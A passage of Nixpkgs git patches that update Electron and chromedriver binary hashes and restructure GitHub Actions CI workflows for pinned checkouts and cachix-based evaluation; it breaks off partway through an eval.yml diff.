From d139a62ee5b669b57d65212ef850d5cc0a11916c Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Tue, 19 Aug 2025 11:40:38 +0200
Subject: [PATCH 3827/4511] electron_35-bin: 35.7.4 -> 35.7.5

- Changelog: https://github.com/electron/electron/releases/tag/v35.7.5
- Diff: https://github.com/electron/electron/compare/refs/tags/v35.7.4...v35.7.5

(cherry picked from commit 45a152bb41f7638580586bf664ed73c290dc0682)
---
 pkgs/development/tools/electron/binary/info.json | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/development/tools/electron/binary/info.json b/pkgs/development/tools/electron/binary/info.json
index fc9f78ac456c..29d51423b16f 100644
--- a/pkgs/development/tools/electron/binary/info.json
+++ b/pkgs/development/tools/electron/binary/info.json
@@ -23,14 +23,14 @@
     },
     "35": {
         "hashes": {
-            "aarch64-darwin": "61201a7d31d494a2357acea6343e8f7742903420c0f4931a2c7aad1599891931",
-            "aarch64-linux": "0aa484cb980781dabcb4c4213b6c3e609a58a42d4678ea824ad50ebdaa3c8bf6",
-            "armv7l-linux": "6f0aaab8c36e1448a02aea4a254ce70954d4da9422a867cd1d866f9db5e40754",
+            "aarch64-darwin": "2fe3a3cfad607a8c1627f6f2bb9834f959c665ef575b663206db11929634b92f",
+            "aarch64-linux": "35c4c30aed2639a38fafa6bd1a6a97b3af89a681afbd5c7a0f40673859040ea3",
+            "armv7l-linux": "350e80638b5ba8a1b56e2463fa55de25f8ee595c0496ef833b07fb4dc65e0c22",
             "headers": "1w8qcgsbii6gizv31i1nkbhaipcr6r1x384wkwnxp60dk9a6cl59",
-            "x86_64-darwin": "470c370522beab8a17b22a40efa851f70da3b6ad54b9821dea7067809b7b4a81",
-            "x86_64-linux": "5ca604b180f563d3c6a2c1a9307a1282ee04fd1fdf661122cda9ebe5f09dd1c2"
+            "x86_64-darwin": "48a426bb5df999dd46c0700261a1a7f572b17581c4c0d1c28afade5ae600cdc9",
+            "x86_64-linux": "368d155a2189e1056d111d334b712779e77066fce1f5ab935b22c4ef544eaa29"
         },
-        "version": "35.7.4"
+        "version": "35.7.5"
     },
     "36": {
         "hashes": {

From af5e10ab128299076034d30ef480ccaaa061a5e1 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Tue, 19 Aug 2025 11:40:42 +0200
Subject: [PATCH 3828/4511] electron-chromedriver_35: 35.7.4 -> 35.7.5

- Changelog: https://github.com/electron/electron/releases/tag/v35.7.5
- Diff: https://github.com/electron/electron/compare/refs/tags/v35.7.4...v35.7.5

(cherry picked from commit fc22a31a30d32c3e696c95b6d75a0a18f8c7ae09)
---
 .../tools/electron/chromedriver/info.json            | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/development/tools/electron/chromedriver/info.json b/pkgs/development/tools/electron/chromedriver/info.json
index 7b23070dc884..63ac14fbaf91 100644
--- a/pkgs/development/tools/electron/chromedriver/info.json
+++ b/pkgs/development/tools/electron/chromedriver/info.json
@@ -23,14 +23,14 @@
     },
     "35": {
         "hashes": {
-            "aarch64-darwin": "c50caedea8ad314009910835198a4956d377ab4452764d100c9bc9c523db4ea7",
-            "aarch64-linux": "40021f9f20b98af3a57b0176405de4e52059748303515adbbe91afec5423b66e",
-            "armv7l-linux": "99bc71ec4202f961e7369c57c856eb3610dbd80ae124525560714542f2c1eb5d",
+            "aarch64-darwin": "9559c7dd0f59b4f9949ce982d589079123b6a1f0677fd7c2260473120e73d487",
+            "aarch64-linux": "ab98b00e04b7f86e9f7ea8d79ab00cb317e4e3f75501e7257702510979443dbc",
+            "armv7l-linux": "0fe5eb017c99d8b7727797595957907a9050a773ff1dc6aa1a7184a603235bfc",
             "headers": "1w8qcgsbii6gizv31i1nkbhaipcr6r1x384wkwnxp60dk9a6cl59",
-            "x86_64-darwin": "a76478d64513909e85a854b05be111e814d2dcc7014b8668aadf375875eeaac0",
-            "x86_64-linux": "d580acc95ed0d125b950a0f053366b81b1a4fb941742e87021d1f837b83149a8"
+            "x86_64-darwin": "19911b618f920d21244d8ea3c5ea33aea94ac6155ba88952f2846fb366798997",
+            "x86_64-linux": "f6a0a3850fc1b63ded8d5bf1ec70308c6ee99f3bc8133d628167bb1ae6afe990"
         },
-        "version": "35.7.4"
+        "version": "35.7.5"
     },
     "36": {
         "hashes": {

From cb5d16c95f72f3ae48c108709fd356e51b205ed0 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Tue, 19 Aug 2025 11:40:46 +0200
Subject: [PATCH 3829/4511] electron_36-bin: 36.7.3 -> 36.8.1

- Changelog: https://github.com/electron/electron/releases/tag/v36.8.1
- Diff: https://github.com/electron/electron/compare/refs/tags/v36.7.3...v36.8.1

(cherry picked from commit f7d292ea0fddc75e0f068d3f04922af63dc268ee)
---
 pkgs/development/tools/electron/binary/info.json | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/development/tools/electron/binary/info.json b/pkgs/development/tools/electron/binary/info.json
index 29d51423b16f..332fe307bb93 100644
--- a/pkgs/development/tools/electron/binary/info.json
+++ b/pkgs/development/tools/electron/binary/info.json
@@ -34,14 +34,14 @@
     },
     "36": {
         "hashes": {
-            "aarch64-darwin": "2b135786014ed8962ad4b4adfd334848929efd5fe5c2432f9054eb83ae67b1c6",
-            "aarch64-linux": "6ee195e05592fde3c5a2245203ac9a9e9c7118cbbf1d6c097db339ed5457732e",
-            "armv7l-linux": "72fd25c965a350abdf99f8e0a4bfca7ecf6eb154cb95912139665f37a76f6d54",
-            "headers": "0k8dqncwp338d17kfrcgam2i0z3zcbs22r36lslh08jfafr8n2mf",
-            "x86_64-darwin": "9f95547bc2d1b2eff6e8de0f00c844ecbf9ee118e1355d5791f900cdfebfb142",
-            "x86_64-linux": "3a9c36c64a38dd3ff959e9f1ba6ead43509d62c6f0948e71d3f575727b05ad96"
+            "aarch64-darwin": "d00c2cf31c36a917817dfa0860da6847d807d3b4fa72a691e4586f5f4a2dd664",
+            "aarch64-linux": "d272cdf391b4539df9960a2481d108fed6a37da5371b2b680a617035661f5c84",
+            "armv7l-linux": "3b0bfefdf493eebb189fd982998c5c3bb694135a4886f091f341f476d5187d46",
+            "headers": "1nmdbw0m2k06588wqgvv2mzlh3n6f9if7almckwhmndi9i9577j8",
+            "x86_64-darwin": "c974a37ac237cc12bb10be2acbdea8c4312dc6375c12c184978ba7089c435808",
+            "x86_64-linux": "fe70e65a8105057a686d55a62705650396cee98b2bf8baf5d497090dd96c57e1"
         },
-        "version": "36.7.3"
+        "version": "36.8.1"
     },
     "37": {
         "hashes": {

From be0a79b66533eec09a5844c68b8ad2fe9eaf3478 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Tue, 19 Aug 2025 11:40:49 +0200
Subject: [PATCH 3830/4511] electron-chromedriver_36: 36.7.3 -> 36.8.1

- Changelog: https://github.com/electron/electron/releases/tag/v36.8.1
- Diff: https://github.com/electron/electron/compare/refs/tags/v36.7.3...v36.8.1

(cherry picked from commit fac81531d265a0245975a79083bd846874c6ee31)
---
 .../tools/electron/chromedriver/info.json          | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/development/tools/electron/chromedriver/info.json b/pkgs/development/tools/electron/chromedriver/info.json
index 63ac14fbaf91..5092a3144734 100644
--- a/pkgs/development/tools/electron/chromedriver/info.json
+++ b/pkgs/development/tools/electron/chromedriver/info.json
@@ -34,14 +34,14 @@
     },
     "36": {
         "hashes": {
-            "aarch64-darwin": "ab224e77272c6482cbe54ff0b368f0b696d1f2b5e28478ec3f641665251ec6ce",
-            "aarch64-linux": "cd9ada2f39c376e56f095d1c1f76505ce499e8a40a4127e508abca173bbf37e3",
-            "armv7l-linux": "90e9ac552f98b1cff1da096d747685e4abca4dd2cf610c5ab2f60a7f29f714b6",
-            "headers": "0k8dqncwp338d17kfrcgam2i0z3zcbs22r36lslh08jfafr8n2mf",
-            "x86_64-darwin": "0658109c34afe0bcffc3f795d9970bbe5fb4225faf4c0ae74e09a1877c27c1f4",
-            "x86_64-linux": "9f9956aeb6ab5650e7731eb4aa507cabd96eee0755ca7884bd18b89d50ed06a0"
+            "aarch64-darwin": "9fd2c5590efec6ceb758620eabc964942962dc70d32005431e31669e4704b3a7",
+            "aarch64-linux": "bf8089f041135d1e170b726b723881983815c1abffb635167b7cb3d0fbeaec3d",
+            "armv7l-linux": "fe738dc5ccc5e1154a6d9454fd95b06a08cf98ef0bb897464b7465635e7a2a38",
+            "headers": "1nmdbw0m2k06588wqgvv2mzlh3n6f9if7almckwhmndi9i9577j8",
+            "x86_64-darwin": "4b318e23a2e7358738fc1bc72ea49c1ed7efc184689c07c23e38d9a41a76af63",
+            "x86_64-linux": "921026912995299b633fa4797bab8c34b5ca3e0d496bcb23c3e734ca779d8e0f"
         },
-        "version": "36.7.3"
+        "version": "36.8.1"
     },
     "37": {
         "hashes": {

From 8c6374efe77dbefd273843c114a43b5aa300cf3d Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Tue, 19 Aug 2025 11:40:54 +0200
Subject: [PATCH 3831/4511] electron_37-bin: 37.2.6 -> 37.3.1

- Changelog: https://github.com/electron/electron/releases/tag/v37.3.1
- Diff: https://github.com/electron/electron/compare/refs/tags/v37.2.6...v37.3.1

(cherry picked from commit 3645474a29020ce5ff230e2fcf7a1155eab1ce52)
---
 pkgs/development/tools/electron/binary/info.json | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/development/tools/electron/binary/info.json b/pkgs/development/tools/electron/binary/info.json
index 332fe307bb93..23a86c7e8289 100644
--- a/pkgs/development/tools/electron/binary/info.json
+++ b/pkgs/development/tools/electron/binary/info.json
@@ -45,13 +45,13 @@
     },
     "37": {
         "hashes": {
-            "aarch64-darwin": "e3d391ba786d90a3a37182a28774b088769ee0c794d8bb8ff5a9f4cc447d23f8",
-            "aarch64-linux": "1912d1c114e2590fcae45ee8c20d79dc63bb535f46f16b8d596ccfe6e99fcd24",
-            "armv7l-linux": "276d1ce011993812afcb0018dce2a10e7b011e3a66578dec01bb2a72f3aa3b8e",
-            "headers": "1fnisy6zs2s7bmbvnvl05rg2rxcs0i50aivz8ipgr8lfhgqkg0pq",
-            "x86_64-darwin": "ffa6a3c2c56bf6cfa3339f09e90716708b9d6da5b8dfa235d6e7b0736d12dab9",
-            "x86_64-linux": "3bb2edaddcb55fb4984af319e4ded6d7a40b8da65b87935ae1348877c598ba23"
+            "aarch64-darwin": "7f390efeca2d2153e29c5ea13305915fb3f853b2a4e9a00be07183c6e09ac6de",
+            "aarch64-linux": "c5c8ec46d9e291cd9dddb40c635d947d0f17873739f93b069e75b4bdadd75f5d",
+            "armv7l-linux": "0871625623efb0edbb4d93ec9e036e01837f9d9ffaf4f1c05ae95f30ff823987",
+            "headers": "1a5wfjjf68mcbsq2lxxsrhgni5ia4dcv1pfzmgw3wm10gbyb0wzi",
+            "x86_64-darwin": "0a6a55de6c49d6eb929f01632701bd25f7e515d7b4042614dd5a1ec6c079f3f3",
+            "x86_64-linux": "9c379b91f7ff65311f2b040299ee95c137fcb8e7e1bef87f9225d608cf579548"
         },
-        "version": "37.2.6"
+        "version": "37.3.1"
     }
 }

From 9e1a85bacb3d8863125baa04e7acbd2750a351d4 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Tue, 19 Aug 2025 11:40:57 +0200
Subject: [PATCH 3832/4511] electron-chromedriver_37: 37.2.6 -> 37.3.1

- Changelog: https://github.com/electron/electron/releases/tag/v37.3.1
- Diff: https://github.com/electron/electron/compare/refs/tags/v37.2.6...v37.3.1

(cherry picked from commit 3e9e7b23f1ea3242b0d4ee888ba0d717e01b329e)
---
 .../tools/electron/chromedriver/info.json          | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/development/tools/electron/chromedriver/info.json b/pkgs/development/tools/electron/chromedriver/info.json
index 5092a3144734..e09b5434c789 100644
--- a/pkgs/development/tools/electron/chromedriver/info.json
+++ b/pkgs/development/tools/electron/chromedriver/info.json
@@ -45,13 +45,13 @@
     },
     "37": {
         "hashes": {
-            "aarch64-darwin": "184952f8898742f26f18e0735eb3fe2d3c48252d484f64d84cbc718f44065a5b",
-            "aarch64-linux": "62d15b12c2c1d8708370447a5c8ac411bc6693f081decf611628b26976a7a74f",
-            "armv7l-linux": "eaefa0e6330f2dce48ee64274bb58306ccb221175418da51fcca8cc932fb7369",
-            "headers": "1fnisy6zs2s7bmbvnvl05rg2rxcs0i50aivz8ipgr8lfhgqkg0pq",
-            "x86_64-darwin": "1c29e44ae4c67a9f9ba12b3fd761ac331ed7f295b9660134fd45032ae2e03ef9",
-            "x86_64-linux": "3b08b1cf455222f652114163c13efd3ee4092749e5a01be2faaac8a7b75cfaaa"
+            "aarch64-darwin": "f6e9c5bdf45d3e17ef90036265a190e55fb2c15c840c2f898f7b503882dcbdac",
+            "aarch64-linux": "db0b310b297cb3c38655ca2d91c892e463f6e73d45b1487aa5f7271dd5f54315",
+            "armv7l-linux": "e4cc211fc92da230acbf2139333051a105a97f7a6a52ace5b0f289bcffcf1ce4",
+            "headers": "1a5wfjjf68mcbsq2lxxsrhgni5ia4dcv1pfzmgw3wm10gbyb0wzi",
+            "x86_64-darwin": "473bae1c5226e2b1b7cebe71a2f983955e886d65683b00d302850071026e0bdb",
+            "x86_64-linux": "6f59f1b86c4538bdf7857fa90afd3f459a8f32bc600480774ae4dc50fc89208c"
         },
-        "version": "37.2.6"
+        "version": "37.3.1"
     }
 }

From 08072590751ec047c5e4eaba93645517a7011fa1 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Thu, 21 Aug 2025 12:12:46 +0200
Subject: [PATCH 3833/4511] actions/checkout: always checkout pinned commits

With the latest performance improvements, this only adds up to 1s, but
reduces complexity in managing pinned checkouts explicitly, especially
when we need *both* pinned checkouts in the next commit.

(cherry picked from commit c18d1e4af8eb84649ad4db16d220cf816731b3c0)
---
 .github/actions/checkout/action.yml | 12 +++++-------
 .github/workflows/build.yml         | 15 +++++++--------
 .github/workflows/check.yml         |  3 +--
 .github/workflows/eval.yml          | 10 ++++------
 .github/workflows/lint.yml          |  9 +++------
 5 files changed, 20 insertions(+), 29 deletions(-)

diff --git a/.github/actions/checkout/action.yml b/.github/actions/checkout/action.yml
index e14c5936e62d..868d832bf8f3 100644
--- a/.github/actions/checkout/action.yml
+++ b/.github/actions/checkout/action.yml
@@ -5,8 +5,6 @@ description: 'Checkout into trusted / untrusted / pinned folders consistently.'
 inputs:
   merged-as-untrusted-at:
     description: "Whether and which SHA to checkout for the merge commit in the ./untrusted folder."
-  pinned-from:
-    description: "Whether to checkout the pinned nixpkgs for CI and from where (trusted, untrusted)."
   target-as-trusted-at:
     description: "Whether and which SHA to checkout for the target commit in the ./trusted folder."
 
@@ -16,7 +14,6 @@ runs:
     - uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
       env:
         MERGED_SHA: ${{ inputs.merged-as-untrusted-at }}
-        PINNED_FROM: ${{ inputs.pinned-from }}
         TARGET_SHA: ${{ inputs.target-as-trusted-at }}
       with:
         script: |
@@ -45,6 +42,7 @@ runs:
           // A single fetch call comes with a lot less overhead. The fetch takes essentially the
           // same time no matter whether its 1, 2 or 3 commits at once.
           async function getPinnedSha(ref) {
+            if (!ref) return undefined
             const { content, encoding } = (await github.rest.repos.getContent({
               ...context.repo,
               path: 'ci/pinned.json',
@@ -60,16 +58,16 @@ runs:
               path: 'untrusted',
             },
             {
-              sha: process.env.PINNED_FROM === 'untrusted' && (await getPinnedSha(process.env.MERGED_SHA)),
-              path: 'pinned'
+              sha: await getPinnedSha(process.env.MERGED_SHA),
+              path: 'untrusted-pinned'
             },
             {
               sha: process.env.TARGET_SHA,
               path: 'trusted',
             },
             {
-              sha: process.env.PINNED_FROM === 'trusted' && (await getPinnedSha(process.env.TARGET_SHA)),
-              path: 'pinned'
+              sha: await getPinnedSha(process.env.TARGET_SHA),
+              path: 'trusted-pinned'
             }
           ].filter(({ sha }) => Boolean(sha))
 
diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml
index 20fcb47dc7a0..0acb7dab64f0 100644
--- a/.github/workflows/build.yml
+++ b/.github/workflows/build.yml
@@ -51,7 +51,6 @@ jobs:
         uses: ./.github/actions/checkout
         with:
           merged-as-untrusted-at: ${{ inputs.mergedSha }}
-          pinned-from: untrusted
 
       - uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
         with:
@@ -66,33 +65,33 @@ jobs:
           authToken: ${{ secrets.CACHIX_AUTH_TOKEN }}
           pushFilter: '(-source$|-nixpkgs-tarball-)'
 
-      - run: nix-env --install -f nixpkgs/pinned -A nix-build-uncached
+      - run: nix-env --install -f nixpkgs/untrusted-pinned -A nix-build-uncached
 
       - name: Build shell
         if: contains(matrix.builds, 'shell')
-        run: echo "${{ matrix.systems }}" | xargs -n1 nix-build-uncached nixpkgs/untrusted/ci --arg nixpkgs ./nixpkgs/pinned -A shell --argstr system
+        run: echo "${{ matrix.systems }}" | xargs -n1 nix-build-uncached nixpkgs/untrusted/ci --arg nixpkgs ./nixpkgs/untrusted-pinned -A shell --argstr system
 
       - name: Build NixOS manual
         if: |
           contains(matrix.builds, 'manual-nixos') && !cancelled() &&
           contains(fromJSON(inputs.baseBranch).type, 'primary')
-        run: nix-build-uncached nixpkgs/untrusted/ci --arg nixpkgs ./nixpkgs/pinned -A manual-nixos --out-link nixos-manual
+        run: nix-build-uncached nixpkgs/untrusted/ci --arg nixpkgs ./nixpkgs/untrusted-pinned -A manual-nixos --out-link nixos-manual
 
       - name: Build Nixpkgs manual
         if: contains(matrix.builds, 'manual-nixpkgs') && !cancelled()
-        run: nix-build-uncached nixpkgs/untrusted/ci --arg nixpkgs ./nixpkgs/pinned -A manual-nixpkgs -A manual-nixpkgs-tests
+        run: nix-build-uncached nixpkgs/untrusted/ci --arg nixpkgs ./nixpkgs/untrusted-pinned -A manual-nixpkgs -A manual-nixpkgs-tests
 
       - name: Build Nixpkgs manual tests
         if: contains(matrix.builds, 'manual-nixpkgs-tests') && !cancelled()
-        run: nix-build-uncached nixpkgs/untrusted/ci --arg nixpkgs ./nixpkgs/pinned -A manual-nixpkgs-tests
+        run: nix-build-uncached nixpkgs/untrusted/ci --arg nixpkgs ./nixpkgs/untrusted-pinned -A manual-nixpkgs-tests
 
       - name: Build lib tests
         if: contains(matrix.builds, 'lib-tests') && !cancelled()
-        run: nix-build-uncached nixpkgs/untrusted/ci --arg nixpkgs ./nixpkgs/pinned -A lib-tests
+        run: nix-build-uncached nixpkgs/untrusted/ci --arg nixpkgs ./nixpkgs/untrusted-pinned -A lib-tests
 
       - name: Build tarball
         if: contains(matrix.builds, 'tarball') && !cancelled()
-        run: nix-build-uncached nixpkgs/untrusted/ci --arg nixpkgs ./nixpkgs/pinned -A tarball
+        run: nix-build-uncached nixpkgs/untrusted/ci --arg nixpkgs ./nixpkgs/untrusted-pinned -A tarball
 
       - name: Upload NixOS manual
         if: |
diff --git a/.github/workflows/check.yml b/.github/workflows/check.yml
index 287d4f80d557..ded8bad536c4 100644
--- a/.github/workflows/check.yml
+++ b/.github/workflows/check.yml
@@ -103,7 +103,6 @@ jobs:
         uses: ./.github/actions/checkout
         with:
           merged-as-untrusted-at: ${{ inputs.mergedSha }}
-          pinned-from: trusted
           target-as-trusted-at: ${{ inputs.targetSha }}
 
       - uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
@@ -117,7 +116,7 @@ jobs:
           pushFilter: -source$
 
       - name: Build codeowners validator
-        run: nix-build nixpkgs/trusted/ci --arg nixpkgs ./nixpkgs/pinned -A codeownersValidator
+        run: nix-build nixpkgs/trusted/ci --arg nixpkgs ./nixpkgs/trusted-pinned -A codeownersValidator
 
       - uses: actions/create-github-app-token@0f859bf9e69e887678d5bbfbee594437cb440ffe # v2.1.0
         if: github.event_name == 'pull_request_target' && vars.OWNER_RO_APP_ID
diff --git a/.github/workflows/eval.yml b/.github/workflows/eval.yml
index c3b1c70034be..a2b16638b910 100644
--- a/.github/workflows/eval.yml
+++ b/.github/workflows/eval.yml
@@ -93,7 +93,6 @@ jobs:
         uses: ./.github/actions/checkout
         with:
           merged-as-untrusted-at: ${{ inputs.mergedSha }}
-          pinned-from: untrusted
 
       - name: Install Nix
         uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
@@ -111,7 +110,7 @@ jobs:
           MATRIX_SYSTEM: ${{ matrix.system }}
           MATRIX_VERSION: ${{ matrix.version || 'nixVersions.latest' }}
         run: |
-          nix-build nixpkgs/untrusted/ci --arg nixpkgs ./nixpkgs/pinned  -A eval.singleSystem \
+          nix-build nixpkgs/untrusted/ci --arg nixpkgs ./nixpkgs/untrusted-pinned  -A eval.singleSystem \
             --argstr evalSystem "$MATRIX_SYSTEM" \
             --arg chunkSize 8000 \
             --argstr nixPath "$MATRIX_VERSION" \
@@ -190,7 +189,7 @@ jobs:
         env:
           MATRIX_SYSTEM: ${{ matrix.system }}
         run: |
-          nix-build nixpkgs/untrusted/ci --arg nixpkgs ./nixpkgs/pinned -A eval.diff \
+          nix-build nixpkgs/untrusted/ci --arg nixpkgs ./nixpkgs/untrusted-pinned -A eval.diff \
             --arg beforeDir ./target \
             --arg afterDir "$(readlink ./merged)" \
             --argstr evalSystem "$MATRIX_SYSTEM" \
@@ -219,7 +218,6 @@ jobs:
         with:
           merged-as-untrusted-at: ${{ inputs.mergedSha }}
           target-as-trusted-at: ${{ inputs.targetSha }}
-          pinned-from: trusted
 
       - name: Download output paths and eval stats for all systems
         uses: actions/download-artifact@634f93cb2916e3fdff6788551b99b062d0335ce0 # v5.0.0
@@ -233,7 +231,7 @@ jobs:
 
       - name: Combine all output paths and eval stats
         run: |
-          nix-build nixpkgs/trusted/ci --arg nixpkgs ./nixpkgs/pinned -A eval.combine \
+          nix-build nixpkgs/trusted/ci --arg nixpkgs ./nixpkgs/trusted-pinned -A eval.combine \
             --arg diffDir ./diff \
             --out-link combined
 
@@ -245,7 +243,7 @@ jobs:
             | jq --raw-input --slurp 'split("\n")[:-1]' > touched-files.json
 
           # Use the target branch to get accurate maintainer info
-          nix-build nixpkgs/trusted/ci --arg nixpkgs ./nixpkgs/pinned -A eval.compare \
+          nix-build nixpkgs/trusted/ci --arg nixpkgs ./nixpkgs/trusted-pinned -A eval.compare \
             --arg combinedDir "$(realpath ./combined)" \
             --arg touchedFilesJson ./touched-files.json \
             --argstr githubAuthorId "$AUTHOR_ID" \
diff --git a/.github/workflows/lint.yml b/.github/workflows/lint.yml
index 771a64c4a5d6..4d94df1578fa 100644
--- a/.github/workflows/lint.yml
+++ b/.github/workflows/lint.yml
@@ -31,7 +31,6 @@ jobs:
         uses: ./.github/actions/checkout
         with:
           merged-as-untrusted-at: ${{ inputs.mergedSha }}
-          pinned-from: untrusted
 
       - uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
 
@@ -44,7 +43,7 @@ jobs:
           # Note that it's fine to run this on untrusted code because:
           # - There's no secrets accessible here
           # - The build is sandboxed
-          if ! nix-build nixpkgs/untrusted/ci --arg nixpkgs ./nixpkgs/pinned -A fmt.check; then
+          if ! nix-build nixpkgs/untrusted/ci --arg nixpkgs ./nixpkgs/untrusted-pinned -A fmt.check; then
             echo "Some files are not properly formatted"
             echo "Please format them by going to the Nixpkgs root directory and running one of:"
             echo "  nix-shell --run treefmt"
@@ -66,7 +65,6 @@ jobs:
         uses: ./.github/actions/checkout
         with:
           merged-as-untrusted-at: ${{ inputs.mergedSha }}
-          pinned-from: untrusted
 
       - uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
 
@@ -81,7 +79,7 @@ jobs:
       - name: Parse all nix files
         run: |
           # Tests multiple versions at once, let's make sure all of them run, so keep-going.
-          nix-build nixpkgs/untrusted/ci --arg nixpkgs ./nixpkgs/pinned -A parse --keep-going
+          nix-build nixpkgs/untrusted/ci --arg nixpkgs ./nixpkgs/untrusted-pinned -A parse --keep-going
 
   nixpkgs-vet:
     runs-on: ubuntu-24.04-arm
@@ -94,7 +92,6 @@ jobs:
         uses: ./.github/actions/checkout
         with:
           merged-as-untrusted-at: ${{ inputs.mergedSha }}
-          pinned-from: untrusted
           target-as-trusted-at: ${{ inputs.targetSha }}
 
       - uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
@@ -112,7 +109,7 @@ jobs:
           # Force terminal colors to be enabled. The library that `nixpkgs-vet` uses respects https://bixense.com/clicolors/
           CLICOLOR_FORCE: 1
         run: |
-          if nix-build nixpkgs/untrusted/ci --arg nixpkgs ./nixpkgs/pinned -A nixpkgs-vet --arg base "./nixpkgs/trusted" --arg head "./nixpkgs/untrusted"; then
+          if nix-build nixpkgs/untrusted/ci --arg nixpkgs ./nixpkgs/untrusted-pinned -A nixpkgs-vet --arg base "./nixpkgs/trusted" --arg head "./nixpkgs/untrusted"; then
             exit 0
           else
             exitCode=$?

From 1646453f34812059aa625e0ddc1e0b8ff5b0fe1a Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Tue, 19 Aug 2025 17:47:27 +0200
Subject: [PATCH 3834/4511] workflows/eval: pass outpaths via cachix instead of
 artifacts

Instead of uploading the outpaths as artifact, this uploads them via
cachix. Most of all, this makes CI less brittle, because Eval in PRs
will still be able to succeed, even if no workflow run for the push
event could be found on the target branch. It will just take longer.

This also makes moving Eval into the Merge Queue easier to do: When
downloading artifacts from a different run, these would always have to
match on the right event, too. By pulling from cachix, the same workflow
can support target branches with merge queue and without merge queue at
the same time. The latter would still use the push event, while the
former could use the merge_group event.

Last but not least, this should fix Eval on PRs targeting `wip-`
branches and any other branches that the push event doesn't trigger on.
These would never find an Eval result from the target branch and could
never show rebuilds accurately. Now these PRs should work at a slightly
higher runtime cost.

(cherry picked from commit c1b06db57b316c99aa1933778343de7f90266640)
---
 .github/workflows/eval.yml | 105 +++++++++++++------------------------
 ci/eval/default.nix        |   2 +
 2 files changed, 37 insertions(+), 70 deletions(-)

diff --git a/.github/workflows/eval.yml b/.github/workflows/eval.yml
index a2b16638b910..7efa71913ac7 100644
--- a/.github/workflows/eval.yml
+++ b/.github/workflows/eval.yml
@@ -71,8 +71,6 @@ jobs:
     # to not interrupt main Eval's compare step.
     continue-on-error: ${{ matrix.version != '' }}
     name: ${{ matrix.system }}${{ matrix.version && format(' @ {0}', matrix.version) || '' }}
-    outputs:
-      targetRunId: ${{ steps.targetRunId.outputs.targetRunId }}
     timeout-minutes: 15
     steps:
       # This is not supposed to be used and just acts as a fallback.
@@ -89,10 +87,11 @@ jobs:
       - uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
         with:
           sparse-checkout: .github/actions
-      - name: Check out the PR at the test merge commit
+      - name: Check out the PR at merged and target commits
         uses: ./.github/actions/checkout
         with:
           merged-as-untrusted-at: ${{ inputs.mergedSha }}
+          target-as-trusted-at: ${{ inputs.targetSha }}
 
       - name: Install Nix
         uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
@@ -105,7 +104,7 @@ jobs:
           authToken: ${{ secrets.CACHIX_AUTH_TOKEN }}
           pushFilter: '(-source|-single-chunk)$'
 
-      - name: Evaluate the ${{ matrix.system }} output paths for all derivation attributes
+      - name: Evaluate the ${{ matrix.system }} output paths at the merge commit
         env:
           MATRIX_SYSTEM: ${{ matrix.system }}
           MATRIX_VERSION: ${{ matrix.version || 'nixVersions.latest' }}
@@ -115,88 +114,54 @@ jobs:
             --arg chunkSize 8000 \
             --argstr nixPath "$MATRIX_VERSION" \
             --out-link merged
-          # If it uses too much memory, slightly decrease chunkSize
+          # If it uses too much memory, slightly decrease chunkSize.
+          # Note: Keep the same further down in sync!
 
-      - name: Upload the output paths and eval stats
-        uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4.6.2
-        with:
-          name: ${{ matrix.version && format('{0}-', matrix.version) || '' }}merged-${{ matrix.system }}
-          path: merged/*
-
-      - name: Log current API rate limits
-        env:
-          GH_TOKEN: ${{ github.token }}
-        run: gh api /rate_limit | jq
-
-      - name: Get target run id
+      # Running the attrpath generation step separately from the outpath step afterwards.
+      # The idea is that, *if* Eval on the target branch has not finished, yet, we will
+      # generate the attrpaths in the meantime - and the separate command command afterwards
+      # will check cachix again for whether Eval has finished. If no Eval result from the
+      # target branch can be found the second time, we proceed to run it in here. Attrpaths
+      # generation takes roughly 30 seconds, so for every normal use-case this should be more
+      # than enough of a head start for Eval on the target branch to finish.
+      # This edge-case, that Eval on the target branch is delayed is unlikely to happen anyway:
+      # For a commit to become the target commit of a PR, it must *already* be on the branch.
+      # Normally, CI should always start running on that push event *before* it starts running
+      # on the PR.
+      - name: Evaluate the ${{ matrix.system }} attribute paths at the target commit
         if: inputs.targetSha
-        id: targetRunId
-        uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
         env:
           MATRIX_SYSTEM: ${{ matrix.system }}
-          TARGET_SHA: ${{ inputs.targetSha }}
-        with:
-          script: |
-            const system = process.env.MATRIX_SYSTEM
-            const targetSha = process.env.TARGET_SHA
+        run: |
